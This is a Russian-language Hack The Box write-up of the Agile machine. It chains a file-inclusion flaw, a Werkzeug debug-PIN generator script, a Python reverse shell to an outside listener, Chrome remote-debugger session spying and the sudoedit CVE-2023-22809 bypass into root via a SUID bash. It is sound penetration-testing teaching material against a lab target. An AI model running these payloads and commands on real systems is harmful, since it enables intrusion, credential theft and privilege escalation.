Хакер -HTB Agile. Ломаем PIN к веб-консоли Flask Werkzeug
hacker_freiRalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- LFI
- Flask Werkzeug
- Продвижение
- Пользователь corum
- Пользователь edwards
- Локальное повышение привилегий
В этом райтапе я разберу атаку на веб‑консоль Flask Werkzeug, работу с удаленным отладчиком Chrome и покажу, как эксплуатировать нашумевшую уязвимость в sudoedit для чтения произвольных файлов в системе.
Поможет мне в этом тренировочная машина Agile с площадки Hack The Box. Уровень ее сложности — средний.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.203 agile.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер нашел всего два открытых порта: 22 — служба OpenSSH 8.9p1 и 80 — веб‑сервер Nginx 1.18.0. Как обычно в такой ситуации, сразу идем смотреть веб.
Нас встречает стартовая страница Nginx, а это значит, что основной сайт расположен либо в другом каталоге, либо на другом домене. Попробуем его найти, для этого просканируем каталоги с помощью feroxbuster.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю feroxbuster.
При запуске указываем следующие параметры:
-u
— URL;-w
— словарь (я использую словари из набора SecLists);-t
— количество потоков;-d
— глубина сканирования.
feroxbuster -u http://10.10.11.203/ -w directory_2.3_medium_lowercase.txt -d 2 -t 256
В результате сканирования находим редирект на домен superpass.htb
. Добавляем его в файл /etc/hosts
и проверяем.
10.10.11.203 agile.htb superpass.htb
ТОЧКА ВХОДА
На сайте есть возможность зарегистрироваться и авторизоваться. Сделаем это, чтобы расширить область тестирования.
Теперь нам доступен онлайновый сервис для хранения учетных данных.
Нам нужно протестировать максимально возможное число функций сервиса. Создаем тестовую запись и экспортируем пароли.
Файл скачивается автоматически, просмотрим весь процесс в Burp History.
Имя файла для скачивания передается в параметре fn
на странице download
. Стоит проверить, можно ли выполнить обход каталога и получить другой произвольный файл.
Получаем содержимое файла /etc/passwd
, а это значит, что на сайте есть уязвимость LFI.
ТОЧКА ОПОРЫ
LFI
Первым делом, когда обнаруживаем LFI, нужно проверить все файлы, которые могут содержать интересную информацию. На GitHub можно найти много таких словарей, а перебирать по ним будем с помощью Burp Intruder.
В результате ничего особенного не нашли, только из файла /etc/passwd
узнаем о наличии тестовой версии сайта на домене test.superpass.htb
, а также получим переменные окружения процесса из файла /proc/self/environ
.
Переменные окружения раскрыли нам пользователя www-data
, от имени которого работает сервис. Интересна и переменная CONFIG_PATH
, где указан файл настроек /app/config_prod.json
. Но при попытке прочитать его получаем ошибку Bad Request.
Иногда при отображении ошибок приложение может раскрывать пути к файлам, в которых произошла ошибка. Поэтому попробуем скачать несуществующий файл /etc/qweqweqwe.txt
.
Приложение предоставило большой вывод, в котором и присутствует путь к исполняемому файлу сайта:
/app/app/superpass/views/vault_views.py
Моей первой идеей было получить SECRET_KEY
от Flask, чтобы можно было вручную генерировать идентификаторы сессии других пользователей и получать сохраненные пароли. Но в этом случае секретный ключ Flask не был явно задан.
Flask Werkzeug
При регистрации и авторизации можно добиться ошибки Flask, что дает нам возможность запросить дебаг‑консоль Werkzeug. Но проблема в том, что она защищена девятизначным PIN-кодом.
Тут нам и пригодится уязвимость LFI, так как, имея доступ к некоторым параметрам системы, можно рассчитать PIN с помощью скрипта из статьи Бена Грюэла. Часть параметров у нас уже есть:
- имя пользователя, от имени которого работает приложение, —
www-data
; - название модуля — обычно
flask.app
илиwerkzeug.debug
; - название приложения — тоже берем из скрипта
wsgi_app
, этоDebuggedApplication
илиFlask
; - путь к приложению Flask —
/app/venv/lib/python3.10/site-packages/flask/app.py
.
Еще два необходимых значения — MAC-адрес и идентификатор системы. Первый параметр получаем из файла /sys/class/net/eth0/address
, а затем переводим в десятеричный формат: 345052368982.
Второй недостающий параметр получим, объединив значения из файлов /etc/machine-id
и /proc/self/cgroup
:
ed5b159560f54721827644bc9b220d00superpass.service
Теперь используем перечисленные значения в следующем скрипте для получения всех возможных вариантов PIN-кода.
import hashlib
import itertools
from itertools import chain
def crack_md5(username, modname, appname, flaskapp_path, node_uuid, machine_id):
h = hashlib.md5()
crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)
def crack_sha1(username, modname, appname, flaskapp_path, node_uuid, machine_id):
h = hashlib.sha1()
crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)
def crack(hasher, username, modname, appname, flaskapp_path, node_uuid, machine_id):
probably_public_bits = [
username,
modname,
appname,
flaskapp_path ]
private_bits = [
node_uuid,
machine_id ]
h = hasher
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
if __name__ == '__main__':
usernames = ['www-data']
modnames = ['flask.app', 'werkzeug.debug']
appnames = ['wsgi_app', 'DebuggedApplication', 'Flask']
flaskpaths = ['/app/venv/lib/python3.10/site-packages/flask/app.py']
nodeuuids = ['345052368982']
machineids = ['ed5b159560f54721827644bc9b220d00superpass.service']
combinations = itertools.product(usernames, modnames, appnames, flaskpaths, nodeuuids, machineids)
for combo in combinations:
username, modname, appname, flaskpath, nodeuuid, machineid = combo
print('=========')
crack_sha1(username, modname, appname, flaskpath, nodeuuid, machineid)
print(f'{combo}')
print('=========')
Первый сгенерированный PIN дает доступ к консоли Python 3, откуда мы легко получаем системный шелл.
__import__('os').popen('id').read();
Теперь используем следующий реверс‑шелл Python 3, который поймаем на листенер pwncat -lp 4321
.
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.54",4321))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")
ПРОДВИЖЕНИЕ
Пользователь corum
Наше приложение использует базу данных, а значит, скорее всего, и пароли тоже хранит в ней. Попробуем найти учетные данные для подключения к БД.
В исходниках ничего найти не удалось, но это не проблема, так как у нас есть доступ к консоли отладчика приложения. Сначала найдем главный файл приложения app.py
в модуле wsgi_app
.
Открываем консоль и получаем из конфига параметры SECRET_KEY
и SQL_URI
. Второй содержит учетные данные для подключения к базе.
Теперь подключаемся к базе данных и заходим в таблицу superpass
.
mysql -h localhost -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK'
use superpass;
И получаем таблицы из базы superpass
.
show tables;
Нам интересна таблица passwords
. Смотрим, что в ней.
select * from passwords;
Строки из столбца password
непохожи на хеши, поэтому попробуем использовать их как пароли и переберем при авторизации по SSH от имени пользователя corum
.
Флаг пользователя — у нас!
Пользователь edwards
Чтобы повысить привилегии, нужно первым делом собрать информацию. Я, как обычно, прибегну к скриптам PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Смотрим, что нашел скрипт, и отмечаем для себя важную информацию.
В списке процессов — Google Chrome с активированной удаленной отладкой на порте 41829.
Из списка открытых портов определяем, что порт 41829 доступен только для обращения с локального хоста.
Среди последних модифицированных файлов в системе присутствует какой‑то пакет пользовательских скриптов activate
.
Это дает нам вектор атаки. Если у Google Chrome активна удаленная отладка, значит, можно с помощью другого браузера Chrome подключиться к порту отладчика и получать все доступные данные. Это позволит как бы «подсматривать» за пользователем. Но первым делом организуем SSH-туннель так, чтобы весь трафик, который мы пошлем на локальный порт 41829, был туннелирован на порт 41829 указанного хоста (в данном случае 127.0.0.1) через SSH.
ssh corum@10.10.11.203 -L 41829:127.0.0.1:41829 -N
Когда туннель готов, можно приступать к настройке браузера. В строке поиска переходим на страницу chrome://inspect
и в графе Discover network targets
добавляем запись localhost:41829
.
Когда пользователь зайдет на любую страницу, мы увидим информацию об этом. К примеру, в данном случае пользователь зашел на страницу http://test.superpass.htb
.
Выбираем inspect
и получаем ту же страницу, что отображается у пользователя.
Так мы получаем новые учетные данные, с которыми можно авторизоваться в системе от имени пользователя edwards.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Разведку на хосте уже проводили, а со сменой контекста работы в Linux мало что меняется. Но все же некоторые вещи нужно проверить заново. Одна из них — настройки sudoers.
sudo -l
Справка: sudoers
Файл /etc/sudoers
в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l
.
Видим, что наш пользователь может запустить команды sudoedit /app/config_test.json
и sudoedit /app/app-testing/tests/functional/creds.txt
от имени пользователя и группы dev_admin
. А члены этой группы могут записывать в недавно обнаруженный файл /app/venv/bin/activate
, который периодически выполняется в системе от имени рута.
В sudoedit есть известная уязвимость CVE-2023-22809, подробнее можешь прочитать о ней в отчете Synacktiv (PDF). С помощью этой уязвимости мы сможем выполнить команду в контексте sudo от имени пользователя dev_admin
. Это дает нам возможность дописать свой код в файл /app/venv/bin/activate
, чтобы запустить что угодно в привилегированном контексте. Выполним команду nano -- /app/venv/bin/activate
:
export EDITOR="nano -- /app/venv/bin/activate"
sudo -u dev_admin sudoedit /app/config_test.json
Теперь открываем файл в nano и дописываем код: chmod u+s /bin/bash
. Он назначит S-бит файлу командной оболочки /bin/bash
.
Ждем некоторое время, периодически проверяя права на файл /bin/bash
. Как только заметим выставленный S-бит, получаем привилегированную сессию.
/bin/bash -p
Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei